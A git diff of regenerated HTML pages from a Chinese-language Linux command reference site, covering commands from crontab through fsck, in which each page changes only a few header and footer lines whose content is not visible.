b/c/crontab.html index c33e2b5a3a..2c48f2c481 100644 --- a/c/crontab.html +++ b/c/crontab.html @@ -10,7 +10,7 @@ crontab 命令,Linux crontab 命令详解:提交和管理用户的需要周期性执行的任务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -181,7 +181,7 @@ - - + + \ No newline at end of file diff --git a/c/csplit.html b/c/csplit.html index 04c0c28915..bb49d8df0f 100644 --- a/c/csplit.html +++ b/c/csplit.html @@ -10,7 +10,7 @@ csplit 命令,Linux csplit 命令详解:将一个大文件分割成小的碎片文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -116,7 +116,7 @@ server01.log server02.log server03.log server.log - - + + \ No newline at end of file diff --git a/c/cu.html b/c/cu.html index 02da859df2..75ccb5428a 100644 --- a/c/cu.html +++ b/c/cu.html @@ -10,7 +10,7 @@ cu 命令,Linux cu 命令详解:用于连接另一个系统主机 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ cu -s 38400 - - + + \ No newline at end of file diff --git a/c/cupsdisable.html b/c/cupsdisable.html index 23a03aee5c..34fa8782ea 100644 --- a/c/cupsdisable.html +++ b/c/cupsdisable.html @@ -10,7 +10,7 @@ cupsdisable 命令,Linux cupsdisable 命令详解:停止指定的打印机 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/cupsenable.html b/c/cupsenable.html index aea4103e36..cf10fd0567 100644 --- a/c/cupsenable.html +++ b/c/cupsenable.html @@ -10,7 +10,7 @@ cupsenable 命令,Linux cupsenable 命令详解:启动指定的打印机 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/curl.html b/c/curl.html index 78f03db43a..66a13120bb 100644 --- a/c/curl.html +++ b/c/curl.html @@ -10,7 +10,7 @@ curl 命令,Linux curl 命令详解:利用URL规则在命令行下工作的文件传输工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -399,7 +399,7 @@ Installing Yarn! - - + + \ No newline at end of file diff --git a/c/cut.html b/c/cut.html index 8b1a6353f7..3c9a5a6051 100644 --- a/c/cut.html +++ b/c/cut.html @@ -10,7 +10,7 @@ cut 命令,Linux cut 命令详解:连接文件并打印到标准输出设备上 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -177,7 +177,7 @@ efghijklmnopqrstuvwxyz - - + + \ No newline at end of file diff --git a/c/date.html b/c/date.html index df77687f51..556e1d7283 100644 --- a/c/date.html +++ b/c/date.html @@ -10,7 +10,7 @@ date 命令,Linux date 命令详解:显示或设置系统时间与日期 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -229,7 +229,7 @@ nmap wangchujiang.com &> /dev/null - - + + \ No newline at end of file diff --git a/c/dd.html b/c/dd.html index 27b04f4a02..cd51941538 100644 --- a/c/dd.html +++ b/c/dd.html @@ -10,7 +10,7 @@ dd 命令,Linux dd 命令详解:复制文件并对原文件的内容进行转换和格式化处理 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -121,7 +121,7 @@ wFRAnlkXeBXmWs1MyGEs - - + + \ No newline at end of file diff --git a/c/declare.html b/c/declare.html index 65904435fb..670e0410e2 100644 --- a/c/declare.html +++ b/c/declare.html @@ -10,7 +10,7 @@ declare 命令,Linux declare 命令详解:声明变量,设置或显示变量的值和属性。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -250,7 +250,7 @@ test2 - - + + \ No newline at end of file diff --git a/c/depmod.html b/c/depmod.html index 43f11ed752..bec423513d 100644 --- a/c/depmod.html +++ b/c/depmod.html @@ -10,7 +10,7 @@ depmod 命令,Linux depmod 命令详解:分析可载入模块的相依性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -106,7 +106,7 @@ depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/ - - + + \ No newline at end of file diff --git a/c/df.html b/c/df.html index 9a377d73c7..bc74cc2b73 100644 --- a/c/df.html +++ b/c/df.html @@ -10,7 +10,7 @@ df 命令,Linux df 命令详解:显示磁盘的相关信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -127,7 +127,7 @@ none 0 - - + + \ No newline at end of file diff --git a/c/dhclient.html b/c/dhclient.html index 4ee0fa86e1..c07671ea02 100644 --- a/c/dhclient.html +++ b/c/dhclient.html @@ -10,7 +10,7 @@ dhclient 命令,Linux dhclient 命令详解:动态获取或释放IP地址 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ dhclient #获取IP - - + + \ No newline at end of file diff --git a/c/dhcpd.html b/c/dhcpd.html index b8a054222e..20f111dbc0 100644 --- a/c/dhcpd.html +++ b/c/dhcpd.html @@ -10,7 +10,7 @@ dhcpd 命令,Linux dhcpd 命令详解:运行DHCP服务器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -106,7 +106,7 @@ exiting. - - + + \ No newline at end of file diff --git a/c/dhcrelay.html b/c/dhcrelay.html index c504ac9d4b..2cfa93ab1a 100644 --- a/c/dhcrelay.html +++ b/c/dhcrelay.html @@ -10,7 +10,7 @@ dhcrelay 命令,Linux dhcrelay 命令详解:使用dhcrelay命令可以提供中继DHCP和BOOTP请求 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ Sending on Socket/fallback - - + + \ No newline at end of file diff --git a/c/diff.html b/c/diff.html index f243d4ac12..61b335b246 100644 --- a/c/diff.html +++ b/c/diff.html @@ -10,7 +10,7 @@ diff 命令,Linux diff 命令详解:比较给定的两个文件的不同 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -122,7 +122,7 @@ n1,n2 c n3,n4 - - + + \ No newline at end of file diff --git a/c/diff3.html b/c/diff3.html index 53085b0bb4..cd7a793c8c 100644 --- a/c/diff3.html +++ b/c/diff3.html @@ -10,7 +10,7 @@ diff3 命令,Linux diff3 命令详解:比较3个文件不同的地方 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/diffstat.html b/c/diffstat.html index 1be5503bf8..41db51cfbd 100644 --- a/c/diffstat.html +++ b/c/diffstat.html @@ -10,7 +10,7 @@ diffstat 命令,Linux diffstat 命令详解:显示diff命令输出信息的柱状图 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ mno - - + + \ No newline at end of file diff --git a/c/dig.html b/c/dig.html index 99c2a974bf..64614e3cb9 100644 --- a/c/dig.html +++ b/c/dig.html @@ -10,7 +10,7 @@ dig 命令,Linux dig 命令详解:域名查询工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ jsdig.com. 8 IN NS - - + + \ No newline at end of file diff --git a/c/dircolors.html b/c/dircolors.html index 58539decd1..2465b982e5 100644 --- a/c/dircolors.html +++ b/c/dircolors.html @@ -10,7 +10,7 @@ dircolors 命令,Linux dircolors 命令详解:置ls命令在显示目录或文件时所用的色彩 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -190,7 +190,7 @@ STICKY 37; - - + + \ No newline at end of file diff --git a/c/dirname.html b/c/dirname.html index afdc19117b..c633955cd3 100644 --- a/c/dirname.html +++ b/c/dirname.html @@ -10,7 +10,7 @@ dirname 命令,Linux dirname 命令详解:去除文件名中的非目录部分 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/dirs.html b/c/dirs.html index f17d6652f9..b8f35b4d0d 100644 --- a/c/dirs.html +++ b/c/dirs.html @@ -10,7 +10,7 @@ dirs 命令,Linux dirs 命令详解:显示目录堆栈。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -126,7 +126,7 @@ - - + + \ No newline at end of file diff --git a/c/disown.html b/c/disown.html index faedbfa53a..f1f3222b27 100644 --- a/c/disown.html +++ b/c/disown.html @@ -10,7 +10,7 @@ disown 命令,Linux disown 命令详解:从当前的shell中移除作业。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -171,7 +171,7 @@ bash: warning: deleting stopped job 1 with pro - - + + \ No newline at end of file diff --git a/c/dmesg.html b/c/dmesg.html index 685f4bb14c..0e859d0b9a 100644 --- a/c/dmesg.html +++ b/c/dmesg.html @@ -10,7 +10,7 @@ dmesg 命令,Linux dmesg 命令详解:显示Linux系统启动信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -98,7 +98,7 @@ BIOS-provided physical RAM map: - - + + \ No newline at end of file diff --git a/c/dmidecode.html b/c/dmidecode.html index ddf3a7500d..49dd32c8a0 100644 --- a/c/dmidecode.html +++ b/c/dmidecode.html @@ -10,7 +10,7 @@ dmidecode 命令,Linux dmidecode 命令详解:在Linux系统下获取有关硬件方面的信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -328,7 +328,7 @@ dmidecode|grep< - - + + \ No newline at end of file diff --git a/c/dnf.html b/c/dnf.html index a882761795..06d817d16c 100644 --- a/c/dnf.html +++ b/c/dnf.html @@ -10,7 +10,7 @@ dnf 命令,Linux dnf 命令详解:新一代的RPM软件包管理器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -206,7 +206,7 @@ Error: Nothing to do. - - + + \ No newline at end of file diff --git a/c/dnsdomainname.html b/c/dnsdomainname.html index 8fcc626e26..19b7ffccf9 100644 --- a/c/dnsdomainname.html +++ b/c/dnsdomainname.html @@ -10,7 +10,7 @@ dnsdomainname 命令,Linux dnsdomainname 命令详解:定义DNS系统中FQDN名称的域名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ Result: h_addr_list - - + + \ No newline at end of file diff --git a/c/domainname.html b/c/domainname.html index 1e9f68f17a..b2d35ee0d3 100644 --- a/c/domainname.html +++ b/c/domainname.html @@ -10,7 +10,7 @@ domainname 命令,Linux domainname 命令详解:显示和设置系统的NIS域名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ www.jsdig.com - - + + \ No newline at end of file diff --git a/c/dos2unix.html b/c/dos2unix.html index 5101a6edf0..f058cd8720 100644 --- a/c/dos2unix.html +++ b/c/dos2unix.html @@ -10,7 +10,7 @@ dos2unix 命令,Linux dos2unix 命令详解:将DOS格式文本文件转换成Unix格式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ dos2unix -k -n oldfile newfile - - + + \ No newline at end of file diff --git a/c/dpkg-deb.html b/c/dpkg-deb.html index 70bd7690d5..70d4ab6890 100644 --- a/c/dpkg-deb.html +++ b/c/dpkg-deb.html @@ -10,7 +10,7 @@ dpkg-deb 命令,Linux dpkg-deb 命令详解:Debian Linux下的软件包管理工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -96,7 +96,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg-divert.html b/c/dpkg-divert.html index 70ff7a4b51..a6e4ed7b7e 100644 --- a/c/dpkg-divert.html +++ b/c/dpkg-divert.html @@ -10,7 +10,7 @@ dpkg-divert 命令,Linux dpkg-divert 命令详解:Debian Linux中创建并管理一个转向列表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg-preconfigure.html b/c/dpkg-preconfigure.html index 84d90c4268..470f76ae44 100644 --- a/c/dpkg-preconfigure.html +++ b/c/dpkg-preconfigure.html @@ -10,7 +10,7 @@ dpkg-preconfigure 命令,Linux dpkg-preconfigure 命令详解:Debian Linux中软件包安装之前询问问题 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg-query.html b/c/dpkg-query.html index a1297f1d57..4a6811e127 100644 --- a/c/dpkg-query.html +++ b/c/dpkg-query.html @@ -10,7 +10,7 @@ dpkg-query 命令,Linux dpkg-query 命令详解:Debian Linux中软件包的查询工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg-reconfigure.html b/c/dpkg-reconfigure.html index 65575c9a13..60bd4b010b 100644 --- a/c/dpkg-reconfigure.html +++ b/c/dpkg-reconfigure.html @@ -10,7 +10,7 @@ dpkg-reconfigure 命令,Linux dpkg-reconfigure 命令详解:Debian Linux中重新配制一个已经安装的软件包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg-split.html b/c/dpkg-split.html index a89cad7460..6d3f144bca 100644 --- a/c/dpkg-split.html +++ b/c/dpkg-split.html @@ -10,7 +10,7 @@ dpkg-split 命令,Linux dpkg-split 命令详解:Debian Linux中将大软件包分割成小包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg-statoverride.html b/c/dpkg-statoverride.html index 061efd4381..43950e8714 100644 --- a/c/dpkg-statoverride.html +++ b/c/dpkg-statoverride.html @@ -10,7 +10,7 @@ dpkg-statoverride 命令,Linux dpkg-statoverride 命令详解:Debian Linux中覆盖文件的所有权和模式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg-trigger.html b/c/dpkg-trigger.html index 3f101a5e88..acd6c06cca 100644 --- a/c/dpkg-trigger.html +++ b/c/dpkg-trigger.html @@ -10,7 +10,7 @@ dpkg-trigger 命令,Linux dpkg-trigger 命令详解:Debian Linux下的软件包触发器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/dpkg.html b/c/dpkg.html index 5b9f5be8b4..3dacffa43d 100644 --- a/c/dpkg.html +++ b/c/dpkg.html @@ -10,7 +10,7 @@ dpkg 命令,Linux dpkg 命令详解:Debian Linux系统上安装、创建和管理软件包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -94,7 +94,7 @@ dpkg --configure package # 配置包 - - + + \ No newline at end of file diff --git a/c/dris.html b/c/dris.html index 27ae76ccce..48e80e3a02 100644 --- a/c/dris.html +++ b/c/dris.html @@ -10,7 +10,7 @@ dris 命令,Linux dris 命令详解:显示和清空目录堆栈中的内容 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/dstat.html b/c/dstat.html index 8ef029e4ed..93f1310114 100644 --- a/c/dstat.html +++ b/c/dstat.html @@ -10,7 +10,7 @@ dstat 命令,Linux dstat 命令详解:通用的系统资源统计工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -155,7 +155,7 @@ internal: - - + + \ No newline at end of file diff --git a/c/du.html b/c/du.html index e585698477..3a67b570a8 100644 --- a/c/du.html +++ b/c/du.html @@ -10,7 +10,7 @@ du 命令,Linux du 命令详解:显示每个文件和目录的磁盘使用空间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -137,7 +137,7 @@ - - + + \ No newline at end of file diff --git a/c/dump.html b/c/dump.html index bbe59fcb34..3e620d7245 100644 --- a/c/dump.html +++ b/c/dump.html @@ -10,7 +10,7 @@ dump 命令,Linux dump 命令详解:用于备份ext2或者ext3文件系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -95,7 +95,7 @@ - - + + \ No newline at end of file diff --git a/c/e2fsck.html b/c/e2fsck.html index 661808154c..acc118ef16 100644 --- a/c/e2fsck.html +++ b/c/e2fsck.html @@ -10,7 +10,7 @@ e2fsck 命令,Linux e2fsck 命令详解:用于检查第二扩展文件系统的完整性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -108,7 +108,7 @@ - - + + \ No newline at end of file diff --git a/c/e2label.html b/c/e2label.html index 6b94317c29..faf64a507e 100644 --- a/c/e2label.html +++ b/c/e2label.html @@ -10,7 +10,7 @@ e2label 命令,Linux e2label 命令详解:设置第二扩展文件系统的卷标 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ - - + + \ No newline at end of file diff --git a/c/echo.html b/c/echo.html index 0b02d36859..b77aa4afcf 100644 --- a/c/echo.html +++ b/c/echo.html @@ -10,7 +10,7 @@ echo 命令,Linux echo 命令详解:输出指定的字符串或者变量 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -108,7 +108,7 @@ Greed Background - - + + \ No newline at end of file diff --git a/c/ed.html b/c/ed.html index 9f773c78f6..e611e4414d 100644 --- a/c/ed.html +++ b/c/ed.html @@ -10,7 +10,7 @@ ed 命令,Linux ed 命令详解:单行纯文本编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ q # 退出ed编辑器。 - - + + \ No newline at end of file diff --git a/c/edquota.html b/c/edquota.html index 35eb5edd72..01f4581959 100644 --- a/c/edquota.html +++ b/c/edquota.html @@ -10,7 +10,7 @@ edquota 命令,Linux edquota 命令详解:用于编辑指定用户或工作组磁盘配额 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -180,7 +180,7 @@ Filesystem blocks quota limit grace - - + + \ No newline at end of file diff --git a/c/egrep.html b/c/egrep.html index 4fe949cb16..22d87d9ed3 100644 --- a/c/egrep.html +++ b/c/egrep.html @@ -10,7 +10,7 @@ egrep 命令,Linux egrep 命令详解:在文件内查找指定的字符串 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -90,7 +90,7 @@ testfile_2:Linux test - - + + \ No newline at end of file diff --git a/c/eject.html b/c/eject.html index b5ca611e4b..eedd646d22 100644 --- a/c/eject.html +++ b/c/eject.html @@ -10,7 +10,7 @@ eject 命令,Linux eject 命令详解:用来退出抽取式设备 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/elinks.html b/c/elinks.html index 3f123c17af..32e8e281bb 100644 --- a/c/elinks.html +++ b/c/elinks.html @@ -10,7 +10,7 @@ elinks 命令,Linux elinks 命令详解:纯文本界面的WWW浏览器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/elm.html b/c/elm.html index b426324499..fc149726d6 100644 --- a/c/elm.html +++ b/c/elm.html @@ -10,7 +10,7 @@ elm 命令,Linux elm 命令详解:纯文本邮件客户端程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/emacs.html b/c/emacs.html index f57a7afeb5..d22354e41e 100644 --- a/c/emacs.html +++ b/c/emacs.html @@ -10,7 +10,7 @@ emacs 命令,Linux emacs 命令详解:功能强大的全屏文本编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -176,7 +176,7 @@ C-x C-q : 修改buffer的只读属 - - + + \ No newline at end of file diff --git a/c/enable.html b/c/enable.html index 6f6e40c925..73edd7ec2a 100644 --- a/c/enable.html +++ b/c/enable.html @@ -10,7 +10,7 @@ enable 命令,Linux enable 命令详解:启动或禁用shell内建命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -162,7 +162,7 @@ - - + + \ No newline at end of file diff --git a/c/env.html b/c/env.html index 49e578f39f..af21242674 100644 --- a/c/env.html +++ b/c/env.html @@ -10,7 +10,7 @@ env 命令,Linux env 命令详解:显示系统中已存在的环境变量 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -103,7 +103,7 @@ - - + + \ No newline at end of file diff --git a/c/ethtool.html b/c/ethtool.html index 3b7953acd7..61db8d9028 100644 --- a/c/ethtool.html +++ b/c/ethtool.html @@ -10,7 +10,7 @@ ethtool 命令,Linux ethtool 命令详解:显示或修改以太网卡的配置信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -197,7 +197,7 @@ driver: bnx2 version: 1.4.30 firmware-version: 1.8.0.5 bus-info: 0000:09:00.0 - - + + \ No newline at end of file diff --git a/c/ex.html b/c/ex.html index 77d57fa47c..4b5a2af86b 100644 --- a/c/ex.html +++ b/c/ex.html @@ -10,7 +10,7 @@ ex 命令,Linux ex 命令详解:启动vim编辑器的ex编辑模式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/exec.html b/c/exec.html index 9c87cff26a..5970c3ee52 100644 --- a/c/exec.html +++ b/c/exec.html @@ -10,7 +10,7 @@ exec 命令,Linux exec 命令详解:调用并执行指定的命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -89,7 +89,7 @@ - - + + \ No newline at end of file diff --git a/c/exit.html b/c/exit.html index a5a2a994ff..ccf2321f25 100644 --- a/c/exit.html +++ b/c/exit.html @@ -10,7 +10,7 @@ exit 命令,Linux exit 命令详解:退出当前的shell。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -110,7 +110,7 @@ - - + + \ No newline at end of file diff --git a/c/expand.html b/c/expand.html index 225b80333e..13f271c966 100644 --- a/c/expand.html +++ b/c/expand.html @@ -10,7 +10,7 @@ expand 命令,Linux expand 命令详解:将文件的制表符转换为空白字符 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/export.html b/c/export.html index a16c03d4d5..b0c11b013f 100644 --- a/c/export.html +++ b/c/export.html @@ -10,7 +10,7 @@ export 命令,Linux export 命令详解:为shell变量或函数设置导出属性。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -202,7 +202,7 @@ A:请在~/.bashrc文件中增加export它们的语句。另请参 - - + + \ No newline at end of file diff --git a/c/exportfs.html b/c/exportfs.html index 9c24e9ded1..1aca610b4c 100644 --- a/c/exportfs.html +++ b/c/exportfs.html @@ -10,7 +10,7 @@ exportfs 命令,Linux exportfs 命令详解:管理NFS共享文件系统列表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/expr.html b/c/expr.html index 9112ac02da..954278d1cc 100644 --- a/c/expr.html +++ b/c/expr.html @@ -10,7 +10,7 @@ expr 命令,Linux expr 命令详解:一款表达式计算工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ - - + + \ No newline at end of file diff --git a/c/false.html b/c/false.html index 6d558bf6b5..d517a180a6 100644 --- a/c/false.html +++ b/c/false.html @@ -10,7 +10,7 @@ false 命令,Linux false 命令详解:返回状态为失败。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/fc.html b/c/fc.html index f8428b3e37..98bf4fc043 100644 --- a/c/fc.html +++ b/c/fc.html @@ -10,7 +10,7 @@ fc 命令,Linux fc 命令详解:显示历史列表中的命令或修改指定的历史命令并执行。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -119,7 +119,7 @@ fc -s ~=/ - - + + \ No newline at end of file diff --git a/c/fdisk.html b/c/fdisk.html index 8a3733a5c6..9db5f9f9c4 100644 --- a/c/fdisk.html +++ b/c/fdisk.html @@ -10,7 +10,7 @@ fdisk 命令,Linux fdisk 命令详解:查看磁盘使用情况和磁盘分区 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -314,7 +314,7 @@ proc /proc proc defaults - - + + \ No newline at end of file diff --git a/c/fg.html b/c/fg.html index 459582f076..f4717a2fe1 100644 --- a/c/fg.html +++ b/c/fg.html @@ -10,7 +10,7 @@ fg 命令,Linux fg 命令详解:将后台作业移动到前台终端运行 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -99,7 +99,7 @@ - - + + \ No newline at end of file diff --git a/c/fgrep.html b/c/fgrep.html index 5bbd86c949..b2cba705e1 100644 --- a/c/fgrep.html +++ b/c/fgrep.html @@ -10,7 +10,7 @@ fgrep 命令,Linux fgrep 命令详解:为文件搜索文字字符串 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -118,7 +118,7 @@ n:将文件中每行的相对行号置于行前。 - - + + \ No newline at end of file diff --git a/c/file.html b/c/file.html index 543b07a1f5..93abe071ed 100644 --- a/c/file.html +++ b/c/file.html @@ -10,7 +10,7 @@ file 命令,Linux file 命令详解:用来探测给定文件的类型 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -111,7 +111,7 @@ lrwxrwxrwx 1 root root - - + + \ No newline at end of file diff --git a/c/find.html b/c/find.html index a54b968df5..28b17fc0c3 100644 --- a/c/find.html +++ b/c/find.html @@ -10,7 +10,7 @@ find 命令,Linux find 命令详解:在指定目录下查找文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -309,7 +309,7 @@ - - + + \ No newline at end of file diff --git a/c/findfs.html b/c/findfs.html index c4ab3c0f2f..f1e745d946 100644 --- a/c/findfs.html +++ b/c/findfs.html @@ -10,7 +10,7 @@ findfs 命令,Linux findfs 命令详解:标签或UUID查找文件系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/finger.html b/c/finger.html index a28df62502..980867f551 100644 --- a/c/finger.html +++ b/c/finger.html @@ -10,7 +10,7 @@ finger 命令,Linux finger 命令详解:用于查找并显示用户信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ root root *pts/1 Dec 18 - - + + \ No newline at end of file diff --git a/c/firewall-cmd.html b/c/firewall-cmd.html index f6d5234036..dfdefa5943 100644 --- a/c/firewall-cmd.html +++ b/c/firewall-cmd.html @@ -10,7 +10,7 @@ firewall-cmd 命令,Linux firewall-cmd 命令详解:Linux上新用的防火墙软件,跟iptables差不多的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -320,7 +320,7 @@ firewall-cmd --add-forward-port=port - - + + \ No newline at end of file diff --git a/c/fishshell.html b/c/fishshell.html index b9639c6489..ac409a9bb5 100644 --- a/c/fishshell.html +++ b/c/fishshell.html @@ -10,7 +10,7 @@ fishshell 命令,Linux fishshell 命令详解:比 bash 更好用的 shell - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -191,7 +191,7 @@ functions # 列出 fish 下定义的函数 - - + + \ No newline at end of file diff --git a/c/fmt.html b/c/fmt.html index 3615b5c603..d5a26b8ed3 100644 --- a/c/fmt.html +++ b/c/fmt.html @@ -10,7 +10,7 @@ fmt 命令,Linux fmt 命令详解:读取文件后优化处理并输出 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/fold.html b/c/fold.html index cc60a2fa1d..cba21afa79 100644 --- a/c/fold.html +++ b/c/fold.html @@ -10,7 +10,7 @@ fold 命令,Linux fold 命令详解:控制文件内容输出时所占用的屏幕宽度 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/fping.html b/c/fping.html index d27a113596..941d88069c 100644 --- a/c/fping.html +++ b/c/fping.html @@ -10,7 +10,7 @@ fping 命令,Linux fping 命令详解:fping检测主机是否存在 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ yum install fping -y - - + + \ No newline at end of file diff --git a/c/free.html b/c/free.html index 85c07aff01..c2b606b43b 100644 --- a/c/free.html +++ b/c/free.html @@ -10,7 +10,7 @@ free 命令,Linux free 命令详解:显示内存的使用情况 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -177,7 +177,7 @@ DirectMap1G: 5242880 kB - - + + \ No newline at end of file diff --git a/c/fsck.html b/c/fsck.html index d5e5417c89..f8640e6db2 100644 --- a/c/fsck.html +++ b/c/fsck.html @@ -10,7 +10,7 @@ fsck 命令,Linux 